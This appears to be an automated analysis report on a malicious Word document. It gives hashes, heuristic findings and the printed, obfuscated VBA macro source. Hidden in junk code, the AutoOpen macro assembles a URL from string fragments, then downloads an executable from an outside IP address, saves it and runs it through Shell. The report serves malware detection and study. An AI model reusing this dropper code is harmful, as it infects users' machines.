Office (OLE) malware analysis — malicious · 4060463d50360718

MALICIOUS

Office (OLE)

362.5 KB Created: 2019-10-18 11:02:00 Authoring application: Microsoft Office Word First seen: 2020-05-14

MD5: bbea066160cdad85d59d474078ba235f SHA-1: d4f60cda197a655b8f9ba6eb65bc7a65b618c1ca SHA-256: 4060463d50360718740df83648d11567cf0a9c6364ec97d7e16204c4d171a0e5

258 Risk Score

Heuristics 9

VBA macros detected medium 5 related findings OLE_VBA_MACROS

Document contains VBA macro code
Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA
Matched line in script
```
Shell uumqqu7 & pwacncp, iilqui
```
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
Matched line in script
```
oqpmuz.Write clxke.responseBody
```
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
Set clxke = CreateObject("Microsoft.XMLHTTP")
```
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub AutoOpen()
```
Environ() call (env variable access) low OLE_VBA_ENVIRON

Environ() call (env variable access)
Matched line in script
```
uumqqu7 = Environ(kmetka)
```
Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LURE

Document gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://www.mineco.gob.es/portal/site/mineco/menuitem.b6c80362d9873d0a91b0240e026041a0/?vgnextoid=9ae18b2b7d93d310VgnVCM1000001d04140aRCRD&lang_choosen=es Referenced by macro
- http://docs.camerfirma.com/publico/DocumentosWeb/certificadosjerarquias/ac_camerfirma-2009.cerReferenced by macro
- http://docs.camerfirma.com/publico/DocumentosWeb/certificadosjerarquias/ac_camerfirma_aapp.cerReferenced by macro
- http://www.cert.fnmt.es/certs/ACRAIZFNMTRCM.crtReferenced by macro
- http://www.cert.fnmt.es/certs/ACRAIZAPE.crtReferenced by macro
- http://ns.adobe.com/xap/1.0/Referenced by macro
- http://www.w3.org/1999/02/22-rdf-syntax-ns#Referenced by macro
- http://ns.adobe.com/xap/1.0/mm/Referenced by macro
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#Referenced by macro
- http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 18833 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	18833 bytes
SHA-256: `04691f89457a67e76a6cc18438c08f02428bbba924b6590c32b4620456d1c3ca`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "NewMacros" Sub AutoOpen() istphx = -45946 oetna = 62465 lsia = Not (istphx > oetna) oa = 63597 qyyu = -39311 pws = Not (oa < qyyu) ia = 21163 ar = (Not ia) Dim fzukkqw fzukkqw = 12654 osbl = -14431 c = (Not osbl) For iie = 36 To 39 plsdotmyo = "vxuoefffffffffffffjpoe" Next iie Dim qckwsoi As String qckwsoi = "-19300" Dim wyie wyie = 22271 For te = 86 To 87 erigoe = te Next te Dim omkaayz09 As String omkaayz09 = "-27782" adtle = "zjgi" For wkstv = 15 To 15 xryrkigm = wkstv Next wkstv For wwkj = 47 To 47 vkdxcsnapv = vkdxcsnapv + wwkj Next wwkj For oy = 40 To 40 oouioxf = "eayzhwrcppgiyache" Next oy vi = -21126 E = 65599 bpmhmb = Not (vi < E) For bgp = 22 To 22 ejxyueo = "zlxrkwtzzpteedeww" Next bgp o = -27712 oaxs = (Not o) For ei = 98 To 98 yiymje = ei Next ei Dim rynbs rynbs = 25553 oef = -30529 aihqr20 = -39851 ah = Not (oef < aihqr20) io = -16432 ukc = 28590 ssiqxf = Not (io > ukc) y = 19785 isig = (Not y) For u = 20 To 20 uaayxw = u Next u For rtau = 19 To 21 yyzvy = yyzvy + rtau Next rtau u = 28762 o = (Not u) iztnefa = "e" Dim hnwoa As Boolean hnwoa = True ogiq1 = -15271 ghdt = (Not ogiq1) For q = 30 To 30 nhahdnz = q Next q Dim eigegk As Integer eigegk = 24882 Dim gyoo3 gyoo3 = 6358 For y = 44 To 47 emjbsy = 171 Next y For aue = 67 To 68 efwlfcpl = "osvwbyixtbdcza" Next aue Dim prcrua prcrua = 25438 For zy = 41 To 42 ieayji = ieayji + zy Next zy oiyniqq = "81." For g = 67 To 67 tpafmua = g Next g Dim aiyazwpk3 aiyazwpk3 = 29175 o = -23156 i = (Not o) For eow = 19 To 21 yuzgs = "linvyznkkeavikie" Next eow For ahmmd = 93 To 93 bgyenpie = bgyenpie + ahmmd Next ahmmd For bfu = 67 To 67 ujfkgia = "uigvybfeieanjeknc" Next bfu For lcnk4 = 86 To 88 kzaue91 = "yaxkawveimseubbi" Next lcnk4 jzpiu03 = -39461 abg = (Not jzpiu03) Dim unnem77 As String unnem77 = "" Dim rzfdyaid10 rzfdyaid10 = 27591 For insy = 78 To 78 cyykn = insy Next insy For th = 82 To 83 mplrulje = th Next th Dim oexe oexe = -19163 Dim agozb As Integer agozb = 8390 u = 40182 s = -31516 iyoa7 = Not (u < s) tduesp = "m32.ex" E = 26623 mtdc69 = (Not E) o = -27708 oeghf = (Not o) For p = 24 To 25 dlovxnxj = p Next p Dim hdhani16 hdhani16 = 12487 cm = -38291 yiwfqr = (Not cm) For se = 19 To 21 hkvuey = hkvuey + se Next se Dim jeya As String jeya = "abhtz" Dim vovhb vovhb = 30591 For viy = 57 To 58 ytoey = viy Next viy Dim pxipba2 As Integer pxipba2 = 9501 odiqs6 = -47144 ye = 22896 ooey = Not (odiqs6 < ye) Dim uexe As String uexe = "" md = 25397 kd = 29995 aqc = Not (md > kd) Dim iugi As Double iugi = -33315.46995 mlrk = 27271 uy = (Not mlrk) For xo = 37 To 37 vkffpvw = vkffpvw + xo Next xo ykyi = "yste" For yp = 90 To 91 aaye = aaye + yp Next yp Dim xrur xrur = -3903 Dim vkifa0 As Double vkifa0 = 62432.1304 For vde = 78 To 78 ceiq26 = "eishshjgirnxee" Next vde vs = 37123 yyee = (Not vs) Dim syahq syahq = 9961 For uky = 78 To 81 gbvmlknsa = gbvmlknsa + uky Next uky For sn = 82 To 84 yeoiw = sn Next sn Dim npbzey npbzey = -9489 dmgaqg = 43500 yo = (Not dmgaqg) For y = 97 To 97 jvyjq = jvyjq + y Next y y = 33468 omkl = 33045 bjtax = Not (y < omkl) jjyavprhu = "htt" For qg = 74 To 74 eijup = 4431 Next qg Dim ujiahkb As String ujiahkb = "-11614" okbhw = -39361 yl = -66181 ettpga62 = Not (okbhw > yl) Dim afioswe afioswe = 27421 ow = -56478 gyei = (Not ow) For n = 80 To 80 yhjen58 = n Next n u = 38910 ae = -5866 ogc = Not (u > ae) For apcpj70 = 51 To 52 cfpgdvfb = cfpgdvfb + apcpj70 Next apcpj70 u = 58897 aia = (Not u) For gja = 11 To 12 dwnuxj = gja Next gja For u = 71 To 72 uoaa = uoaa + u Next u For xwcn = 54 To 54 eoblwe = xwcn Next xwcn Dim tjauy As Boolean tjauy = True ort = 48711 wk = (Not ort) For mreo = 90 To 90 aofno = -9867 Next mreo For rri = 46 To 47 iexpxcs = -10021 Next rri uoakb = "143" Dim laolme As Integer laolme = 3269 For eo = 82 To 82 bgogmnfg3 = "aycnes" Next eo Dim phbmao As Boolean phbmao = False Dim ezhwwbsdl96 As Double ezhwwbsdl96 = -20366.27437 Dim hmpxvkdvujp4 hmpxvkdvujp4 = 7664 Dim qcrjm As Double qcrjm = -66483.833 yenw = -64771 otqey = (Not yenw) For psrk = 88 To 89 tdjrxcr = psrk Next psrk cktiu = 26512 aibjbr = (Not cktiu) For i = 100 To 101 eflilu = -1444 Next i For a = 37 To 37 ctkaivl = a Next a Dim iearbia85 iearbia85 = -15201 Dim yyouaa As Boolean yyouaa = True Dim zhjivcao As Double zhjivcao = 59229.64668 For p = 69 To 70 bliwkyuo = p Next p emofqbb99 = "p://1" yoo = -63126 E = 21410 aac = Not (yoo > E) For eowt = 32 To 32 ldiymk = -6470 Next eowt ugx = 12033 zfxzp = (Not ugx) exjo = 41990 ghjd = 23968 E = Not (exjo > ghjd) For ekk = 68 To 68 zgil = ekk Next ekk For ye = 87 To 88 nzepuorr = nzepuorr + ye Next ye For zi = 81 To 81 bylni = -13496 Next zi Dim jzecisj As Integer jzecisj = -20063 For oa = 61 To 62 yxwoa = 15651 Next oa Dim colryf colryf = -9858 Dim ujstiis ujstiis = 1443 Dim vuygu vuygu = 22860 xk = -13461 ptyiy = -47930 yn = Not (xk > ptyiy) For o = 97 To 97 ezke = "myrwkpmxye" Next o For ievn49 = 41 To 41 rjmbugm = -8118 Next ievn49 huflm2 = ".exe" Dim diqhls3 As Double diqhls3 = 32827.43627 For sm = 25 To 26 ipjueyo = sm Next sm For orf = 64 To 65 yrjuymg = 18927 Next orf For zrt = 32 To 32 mloah62 = mloah62 + zrt Next zrt For i = 70 To 71 ephbvh00 = -3876 Next i qdxl = -44361 csvxqbo = 40325 aoi = Not (qdxl > csvxqbo) Dim ccdqah As Integer ccdqah = 9063 Dim umxyh7 As String umxyh7 = "oyilrghvonjem" oou = -15741 y = 60838 ioy = Not (oou > y) For i = 50 To 51 alkoalce = i Next i For j = 73 To 73 zaeyra = 11292 Next j und = -31394 ygd = -29914 ysed = Not (und < ygd) oaxmo = "get" For y = 55 To 55 gkife = gkife + y Next y egdbn = -28500 lynk = (Not egdbn) Dim edkvls As String edkvls = "3392" Dim divpuhm divpuhm = 26997 Dim mszbeu0 As Boolean mszbeu0 = True For vjwwkj = 58 To 59 ayvio61 = ayvio61 + vjwwkj Next vjwwkj mb = 3392 eue = (Not mb) ln = -32935 yyoz2 = (Not ln) hwhx = 5572 pgmu = 3787 xaa = Not (hwhx > pgmu) ku = -59564 auy = (Not ku) jgo = -27420 d = (Not jgo) msq = 37841 llivco = (Not msq) urdkno = 140 m = (Not urdkno) lda = -47170 ie = (Not lda) For u = 81 To 81 osslsqtg = osslsqtg + u Next u Dim jgix45 As Integer jgix45 = -27966 For bkjj = 83 To 84 bsuau = "emgltquuiunm" Next bkjj bqrua90 = ".146.5" For utj = 25 To 26 mjnenby = mjnenby + utj Next utj yiy = -26217 dq = -39035 eu = Not (yiy < dq) Dim ifzbht63 ifzbht63 = 13823 n = -48216 mdicb = (Not n) For ye = 80 To 81 ymlouapl = ye Next ye Dim njyrlu As Integer njyrlu = -16573 Dim aooua As Double aooua = -42636.4559 For bklrm = 29 To 30 sroedu2 = bklrm Next bklrm Dim eoftyu eoftyu = 19993 For kscsk40 = 14 To 15 tnmtga = kscsk40 Next kscsk40 For mkyy = 92 To 93 aigu3 = aigu3 + mkyy Next mkyy For xlurn = 21 To 24 yuqgu09 = -302 Next xlurn Dim vocfy As Boolean vocfy = True Dim xkyuvsee As Boolean xkyuvsee = False Dim uqgbxy As Boolean uqgbxy = True goyayj = "qco" Dim supgft As Boolean supgft = False qa = 33200 xkiikl01 = 55976 yzl = Not (qa < xkiikl01) Dim cpaestee As String cpaestee = "wuvneajuou" Dim euucof As Integer euucof = 24308 Dim fiieu As String fiieu = "-27423" lhe = 52541 ya = -32295 gdjwi = Not (lhe < ya) Dim dleanwm As Boolean dleanwm = True qfqu4 = 66181 xtbfn = (Not qfqu4) Dim lnei50 lnei50 = -3117 For yqs = 86 To 87 iklciy = yqs Next yqs ibey = -7879 oizgw5 = (Not ibey) u = -10952 au = (Not u) aaubr20 = "8/S" u = 15036 o = (Not u) For qga = 60 To 60 szwarag = 9022 Next qga Dim gviepnm As Double gviepnm = 15042.60832 Dim iepo As Double iepo = 16407.34611 Dim mytjudd As Boolean mytjudd = True woopd = -54218 enfkp = 2401 ia = Not (woopd < enfkp) Dim ykvggqte ykvggqte = 23863 For ye = 91 To 91 nyrumr = ye Next ye qdfmbf = -39002 o = (Not qdfmbf) kdxwaht = 33336 bpr = (Not kdxwaht) For ue = 68 To 68 pqjeyy = pqjeyy + ue Next ue For bvrnrz = 10 To 11 plaltgui = bvrnrz Next bvrnrz yyoo = 20593 wdnny = (Not yyoo) Dim yxlvi As Integer yxlvi = 24929 mfssvmz = 34687 i = (Not mfssvmz) uudp = -10566 hpdltp = (Not uudp) ahoeee = "\zc" For lz = 19 To 21 yylxkpu = -3162 Next lz Dim oeygc As Double oeygc = 60539.11281 For qno = 14 To 15 seey = seey + qno Next qno Dim iuupy iuupy = 23973 For gh = 77 To 79 aooipw = "yzao" Next gh uyajc = -14574 za = (Not uyajc) For kb = 11 To 12 ulpmy = -4542 Next kb Dim ionyrjg ionyrjg = -29049 h = 15492 aay = -3027 ugey = Not (h < aay) aaq = 15671 E = (Not aaq) For ckmn = 87 To 87 xqjjsk = -15908 Next ckmn Dim troum troum = 1598 u = 50841 iyw = -52310 olv = Not (u > iyw) ikd = -37113 kbk = (Not ikd) For ydhsg = 23 To 24 uoequa = uoequa + ydhsg Next ydhsg Dim zygwpg02 zygwpg02 = -26072 Dim ifmkzlr As Double ifmkzlr = -3573.60692 wwrvmxua = jjyavprhu & emofqbb99 & oiyniqq & uoakb & bqrua90 & aaubr20 & ykyi & tduesp & iztnefa ghy = -7266 zrjdd = (Not ghy) Dim ddvuza ddvuza = 22090 kez = 3004 oeoe = (Not kez) For qeo = 63 To 63 lxarfokf = qeo Next qeo Dim fuajx fuajx = -1556 Dim iisqsey iisqsey = 252 op = 51264 ai = (Not op) Dim aiqra41 As Double aiqra41 = 50833.11836 Dim leiq As String leiq = "s" Dim dtjjantl dtjjantl = 25970 vx = 61247 a = -13500 uvj = Not (vx > a) For a = 21 To 22 ucgfwciw = a Next a Dim ypjpqwgt As Boolean ypjpqwgt = False t = 1944 kd = (Not t) o = 56017 bsomy = (Not o) yma = 53044 qkao = (Not yma) Dim taga As String taga = "xiiiaiie" ufsxp = -65231 lmrf = (Not ufsxp) pwacncp = ahoeee & adtle & goyayj & huflm2 eqxo = 33344 q = 58095 hhgb = Not (eqxo < q) For u = 54 To 55 yikdtdu = "lpyfpuy" Next u Dim aefzqx aefzqx = 12114 For i = 45 To 46 iptccz = -8655 Next i For upa = 39 To 41 ieei = "wuoxozflula" Next upa For izx = 17 To 18 yoobcsgu = yoobcsgu + izx Next izx For ikh = 38 To 39 juhsms = ikh Next ikh twrt3 = -32570 hwa = 56304 gjyq4 = Not (twrt3 < hwa) Dim heiy heiy = -31110 ua = 48490 o = (Not ua) eyoo9 = -36419 msmi = -33127 a = Not (eyoo9 > msmi) yrc = -53396 thxpa = -62983 eyui = Not (yrc < thxpa) wwdls = 27974 bfybbo = 31202 hsdqxe = Not (wwdls > bfybbo) cg = 54455 uu = 45141 u = Not (cg < uu) For ie = 54 To 54 xtmkfwmv87 = ie Next ie For gg = 10 To 11 ockyiee = ockyiee + gg Next gg hp = -44382 iblj = (Not hp) For jfw = 20 To 21 siax = jfw Next jfw Set clxke = CreateObject("Microsoft.XMLHTTP") For o = 62 To 64 yodlyny92 = 19016 Next o Dim lnuspoey lnuspoey = 15062 For qqtma = 29 To 29 imjxg = imjxg + qqtma Next qqtma bqi = 36515 a = (Not bqi) Dim odkeeak As Double odkeeak = -60862.18846 mwlh = -32487 uvdun6 = 20960 E = Not (mwlh > uvdun6) Dim ueit As Integer ueit = 18348 For yv = 49 To 50 icrpawnbw = 4823 Next yv pt = -19307 rziks = (Not pt) For gvca = 35 To 36 dkyxyy = "oimzyfsoaog" Next gvca u = 45105 pxzq = (Not u) Dim uiaoum40 As Double uiaoum40 = -52415.13535 Dim ytea As Integer ytea = -13394 For jg = 56 To 57 uctxpoyj = uctxpoyj + jg Next jg wyy = -41646 kwko = (Not wyy) Dim ihxqzg ihxqzg = -18591 For io = 36 To 37 sxuea = io Next io If Year("9, 8, 67") = 1967 Then Dim etdop etdop = 17942 alii = -42102 ovcedj2 = -51087 a = Not (alii < ovcedj2) a = 64796 yu = (Not a) For i = 43 To 43 meoar = i Next i For buxz = 78 To 78 tqteaue70 = "riyksyfm" Next buxz For xi = 61 To 63 icyeo = icyeo + xi Next xi For iwl = 70 To 70 rtwdnv3 = -6147 Next iwl For q = 51 To 51 yhzdrqzoi = yhzdrqzoi + q Next q For ye = 98 To 100 lvoitxcb5 = lvoitxcb5 + ye Next ye Dim aesnfh aesnfh = 23233 For r = 25 To 28 edbuwbspx = -1774 Next r Dim ayhjqz As Integer ayhjqz = 29694 l = -97 evbui7 = 63891 a = Not (l > evbui7) For yk = 33 To 34 oiiooqt7 = -9689 Next yk eb = -21698 djbuxl = 14933 hrcaa3 = Not (eb < djbuxl) MsgBox "Error: file is broken" Dim dhelfwe As Boolean dhelfwe = False clxke.Open oaxmo, wwrvmxua, False Dim feprnli feprnli = -6326 Dim eqpodbr8 As String eqpodbr8 = "-24886" Dim ariayq As Boolean ariayq = False For iig = 13 To 14 eqvuo = "osauiitldpqvivsi3" Next iig Dim asjyomn0 As String asjyomn0 = "scoaeyxcvm" For E = 71 To 71 xuqu = E Next E For isc = 76 To 77 rbunjbw = 1869 Next isc For x = 32 To 33 kmicnoo = -9006 Next x For iiy = 12 To 14 udxra40 = -15088 Next iiy For gdd = 59 To 60 olbelthkg = "fgwyqsiziwkjgjlygbn" Next gdd For iahg = 27 To 29 tlotra = "aooiuai" Next iahg Dim zqnibq zqnibq = 16879 vdqx = 40116 p = (Not vdqx) End If Dim ehbemtcf ehbemtcf = 19662 Dim elijx75 As String elijx75 = "wvhzngiixu" dlbn = 55829 mhrm = 49204 iy = Not (dlbn > mhrm) Dim cbjicm As Integer cbjicm = -23914 Dim fftgb As Boolean fftgb = False y = -22999 y = (Not y) Dim wbcghwa As String wbcghwa = "-914" yzdnu = -40189 i = (Not yzdnu) For rv = 16 To 16 wcspoeclml = "qbdkouinlvwmxwcxu" Next rv Dim toorwy toorwy = 27754 clxke.send Dim emnaelb As Boolean emnaelb = False a = -34227 bfo = 37449 u = Not (a > bfo) For nx = 53 To 55 iustxyy = nx Next nx wqjy = -61704 k = 32524 rn = Not (wqjy < k) en = 35730 rcl = (Not en) For ul = 56 To 59 pxmawts09 = "jcoguyyu" Next ul For lh = 56 To 57 euay = "yoqxwjfermci" Next lh yaa = -23451 jass = (Not yaa) Dim fgee7 As Integer fgee7 = 19496 Dim ustwkp ustwkp = 19205 Dim uayjt uayjt = 8984 For E = 33 To 34 mledqiyfx = 13593 Next E For dbpf5 = 100 To 100 nnhwdamtsh = nnhwdamtsh + dbpf5 Next dbpf5 For yty = 89 To 92 yddynlmt6 = -9960 Next yty Dim rbiuczx As String rbiuczx = "25879" Set oqpmuz = CreateObject("ADODB.Stream") For dpzrl = 46 To 47 aooe = -10166 Next dpzrl Dim oemwdd As Double oemwdd = 60248.92 etcoa = -37517 i = (Not etcoa) For d = 17 To 19 lhboygt = 2821 Next d For ax = 95 To 95 qslquv = ax Next ax For mlrke = 56 To 57 rzwrizl = mlrke Next mlrke ejpr = 59962 yk = 21720 dzu = Not (ejpr > yk) vpki = 38784 zd = (Not vpki) ty = 48440 i = (Not ty) hcsdku = 1252 euh = (Not hcsdku) Dim eobxokvi eobxokvi = -8332 Dim tlnjkrvacs As String tlnjkrvacs = "-29133" Dim dooejqu dooejqu = 16170 qwe = -37161 vaee = -13293 eu = Not (qwe > vaee) Dim wehefj wehefj = 31909 rtoy = 10762 swa = 7242 ixiu = Not (rtoy > swa) yulh = -23956 vmiiql = -22996 aa = Not (yulh < vmiiql) For uwvi = 55 To 58 yeypd = uwvi Next uwvi oqpmuz.Open rwp = -51325 qwlp = 27807 auf = Not (rwp < qwlp) For mkjy9 = 63 To 63 ooiay = 4498 Next mkjy9 Dim nqgkeehe As Integer nqgkeehe = -31763 For cr = 49 To 49 aeeapu = "skgleuvuuhbe" Next cr Dim owbym owbym = 1762 Dim ouiepqrl ouiepqrl = 22894 atqrfq5 = 7 E = -10677 ni = Not (atqrfq5 < E) For cxggi = 30 To 30 uyyyou = uyyyou + cxggi Next cxggi For xf = 90 To 93 urluy = -10861 Next xf oqpmuz.Type = 1 o = -5127 uop = (Not o) iixb = 58737 …

SHA-256: 04691f89457a67e76a6cc18438c08f02428bbba924b6590c32b4620456d1c3ca

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
istphx = -45946
oetna = 62465
lsia = Not (istphx > oetna)

oa = 63597
qyyu = -39311
pws = Not (oa < qyyu)

ia = 21163
ar = (Not ia)
Dim fzukkqw
fzukkqw = 12654
osbl = -14431
c = (Not osbl)
For iie = 36 To 39
plsdotmyo = "vxuoefffffffffffffjpoe"
Next iie
Dim qckwsoi As String
qckwsoi = "-19300"
Dim wyie
wyie = 22271
For te = 86 To 87
erigoe = te
Next te
Dim omkaayz09 As String
omkaayz09 = "-27782"

adtle = "zjgi"
For wkstv = 15 To 15
xryrkigm = wkstv
Next wkstv
For wwkj = 47 To 47
vkdxcsnapv = vkdxcsnapv + wwkj
Next wwkj
For oy = 40 To 40
oouioxf = "eayzhwrcppgiyache"
Next oy

vi = -21126
E = 65599
bpmhmb = Not (vi < E)

For bgp = 22 To 22
ejxyueo = "zlxrkwtzzpteedeww"
Next bgp
o = -27712
oaxs = (Not o)

For ei = 98 To 98
yiymje = ei
Next ei
Dim rynbs
rynbs = 25553
oef = -30529
aihqr20 = -39851
ah = Not (oef < aihqr20)

io = -16432
ukc = 28590
ssiqxf = Not (io > ukc)

y = 19785
isig = (Not y)

For u = 20 To 20
uaayxw = u
Next u
For rtau = 19 To 21
yyzvy = yyzvy + rtau
Next rtau
u = 28762
o = (Not u)
iztnefa = "e"
Dim hnwoa As Boolean
hnwoa = True
ogiq1 = -15271
ghdt = (Not ogiq1)
For q = 30 To 30
nhahdnz = q
Next q

Dim eigegk As Integer
eigegk = 24882

Dim gyoo3
gyoo3 = 6358
For y = 44 To 47
emjbsy = 171
Next y
For aue = 67 To 68
efwlfcpl = "osvwbyixtbdcza"
Next aue
Dim prcrua
prcrua = 25438

For zy = 41 To 42
ieayji = ieayji + zy
Next zy
oiyniqq = "81."
For g = 67 To 67
tpafmua = g
Next g
Dim aiyazwpk3
aiyazwpk3 = 29175
o = -23156
i = (Not o)
For eow = 19 To 21
yuzgs = "linvyznkkeavikie"
Next eow
For ahmmd = 93 To 93
bgyenpie = bgyenpie + ahmmd
Next ahmmd

For bfu = 67 To 67
ujfkgia = "uigvybfeieanjeknc"
Next bfu

For lcnk4 = 86 To 88
kzaue91 = "yaxkawveimseubbi"
Next lcnk4
jzpiu03 = -39461
abg = (Not jzpiu03)
Dim unnem77 As String
unnem77 = ""
Dim rzfdyaid10
rzfdyaid10 = 27591

For insy = 78 To 78
cyykn = insy
Next insy
For th = 82 To 83
mplrulje = th
Next th
Dim oexe
oexe = -19163
Dim agozb As Integer
agozb = 8390
u = 40182
s = -31516
iyoa7 = Not (u < s)

tduesp = "m32.ex"
E = 26623
mtdc69 = (Not E)
o = -27708
oeghf = (Not o)
For p = 24 To 25
dlovxnxj = p
Next p

Dim hdhani16
hdhani16 = 12487
cm = -38291
yiwfqr = (Not cm)
For se = 19 To 21
hkvuey = hkvuey + se
Next se
Dim jeya As String
jeya = "abhtz"

Dim vovhb
vovhb = 30591
For viy = 57 To 58
ytoey = viy
Next viy
Dim pxipba2 As Integer
pxipba2 = 9501
odiqs6 = -47144
ye = 22896
ooey = Not (odiqs6 < ye)

Dim uexe As String
uexe = ""
md = 25397
kd = 29995
aqc = Not (md > kd)

Dim iugi As Double
iugi = -33315.46995
mlrk = 27271
uy = (Not mlrk)
For xo = 37 To 37
vkffpvw = vkffpvw + xo
Next xo
ykyi = "yste"
For yp = 90 To 91
aaye = aaye + yp
Next yp
Dim xrur
xrur = -3903
Dim vkifa0 As Double
vkifa0 = 62432.1304
For vde = 78 To 78
ceiq26 = "eishshjgirnxee"
Next vde
vs = 37123
yyee = (Not vs)

Dim syahq
syahq = 9961
For uky = 78 To 81
gbvmlknsa = gbvmlknsa + uky
Next uky
For sn = 82 To 84
yeoiw = sn
Next sn
Dim npbzey
npbzey = -9489

dmgaqg = 43500
yo = (Not dmgaqg)
For y = 97 To 97
jvyjq = jvyjq + y
Next y
y = 33468
omkl = 33045
bjtax = Not (y < omkl)

jjyavprhu = "htt"
For qg = 74 To 74
eijup = 4431
Next qg
Dim ujiahkb As String
ujiahkb = "-11614"
okbhw = -39361
yl = -66181
ettpga62 = Not (okbhw > yl)

Dim afioswe
afioswe = 27421
ow = -56478
gyei = (Not ow)
For n = 80 To 80
yhjen58 = n
Next n

u = 38910
ae = -5866
ogc = Not (u > ae)

For apcpj70 = 51 To 52
cfpgdvfb = cfpgdvfb + apcpj70
Next apcpj70
u = 58897
aia = (Not u)
For gja = 11 To 12
dwnuxj = gja
Next gja
For u = 71 To 72
uoaa = uoaa + u
Next u
For xwcn = 54 To 54
eoblwe = xwcn
Next xwcn
Dim tjauy As Boolean
tjauy = True

ort = 48711
wk = (Not ort)
For mreo = 90 To 90
aofno = -9867
Next mreo
For rri = 46 To 47
iexpxcs = -10021
Next rri
uoakb = "143"
Dim laolme As Integer
laolme = 3269
For eo = 82 To 82
bgogmnfg3 = "aycnes"
Next eo
Dim phbmao As Boolean
phbmao = False
Dim ezhwwbsdl96 As Double
ezhwwbsdl96 = -20366.27437

Dim hmpxvkdvujp4
hmpxvkdvujp4 = 7664
Dim qcrjm As Double
qcrjm = -66483.833
yenw = -64771
otqey = (Not yenw)
For psrk = 88 To 89
tdjrxcr = psrk
Next psrk
cktiu = 26512
aibjbr = (Not cktiu)
For i = 100 To 101
eflilu = -1444
Next i
For a = 37 To 37
ctkaivl = a
Next a

Dim iearbia85
iearbia85 = -15201

Dim yyouaa As Boolean
yyouaa = True
Dim zhjivcao As Double
zhjivcao = 59229.64668
For p = 69 To 70
bliwkyuo = p
Next p
emofqbb99 = "p://1"
yoo = -63126
E = 21410
aac = Not (yoo > E)


For eowt = 32 To 32
ldiymk = -6470
Next eowt

ugx = 12033
zfxzp = (Not ugx)
exjo = 41990
ghjd = 23968
E = Not (exjo > ghjd)

For ekk = 68 To 68
zgil = ekk
Next ekk
For ye = 87 To 88
nzepuorr = nzepuorr + ye
Next ye

For zi = 81 To 81
bylni = -13496
Next zi
Dim jzecisj As Integer
jzecisj = -20063
For oa = 61 To 62
yxwoa = 15651
Next oa
Dim colryf
colryf = -9858
Dim ujstiis
ujstiis = 1443
Dim vuygu
vuygu = 22860
xk = -13461
ptyiy = -47930
yn = Not (xk > ptyiy)

For o = 97 To 97
ezke = "myrwkpmxye"
Next o
For ievn49 = 41 To 41
rjmbugm = -8118
Next ievn49
huflm2 = ".exe"
Dim diqhls3 As Double
diqhls3 = 32827.43627

For sm = 25 To 26
ipjueyo = sm
Next sm
For orf = 64 To 65
yrjuymg = 18927
Next orf
For zrt = 32 To 32
mloah62 = mloah62 + zrt
Next zrt
For i = 70 To 71
ephbvh00 = -3876
Next i
qdxl = -44361
csvxqbo = 40325
aoi = Not (qdxl > csvxqbo)

Dim ccdqah As Integer
ccdqah = 9063
Dim umxyh7 As String
umxyh7 = "oyilrghvonjem"
oou = -15741
y = 60838
ioy = Not (oou > y)


For i = 50 To 51
alkoalce = i
Next i
For j = 73 To 73
zaeyra = 11292
Next j
und = -31394
ygd = -29914
ysed = Not (und < ygd)


oaxmo = "get"
For y = 55 To 55
gkife = gkife + y
Next y

egdbn = -28500
lynk = (Not egdbn)

Dim edkvls As String
edkvls = "3392"
Dim divpuhm
divpuhm = 26997
Dim mszbeu0 As Boolean
mszbeu0 = True
For vjwwkj = 58 To 59
ayvio61 = ayvio61 + vjwwkj
Next vjwwkj
mb = 3392
eue = (Not mb)
ln = -32935
yyoz2 = (Not ln)
hwhx = 5572
pgmu = 3787
xaa = Not (hwhx > pgmu)

ku = -59564
auy = (Not ku)
jgo = -27420
d = (Not jgo)
msq = 37841
llivco = (Not msq)
urdkno = 140
m = (Not urdkno)
lda = -47170
ie = (Not lda)
For u = 81 To 81
osslsqtg = osslsqtg + u
Next u
Dim jgix45 As Integer
jgix45 = -27966
For bkjj = 83 To 84
bsuau = "emgltquuiunm"
Next bkjj
bqrua90 = ".146.5"
For utj = 25 To 26
mjnenby = mjnenby + utj
Next utj

yiy = -26217
dq = -39035
eu = Not (yiy < dq)


Dim ifzbht63
ifzbht63 = 13823
n = -48216
mdicb = (Not n)
For ye = 80 To 81
ymlouapl = ye
Next ye
Dim njyrlu As Integer
njyrlu = -16573
Dim aooua As Double
aooua = -42636.4559
For bklrm = 29 To 30
sroedu2 = bklrm
Next bklrm

Dim eoftyu
eoftyu = 19993
For kscsk40 = 14 To 15
tnmtga = kscsk40
Next kscsk40
For mkyy = 92 To 93
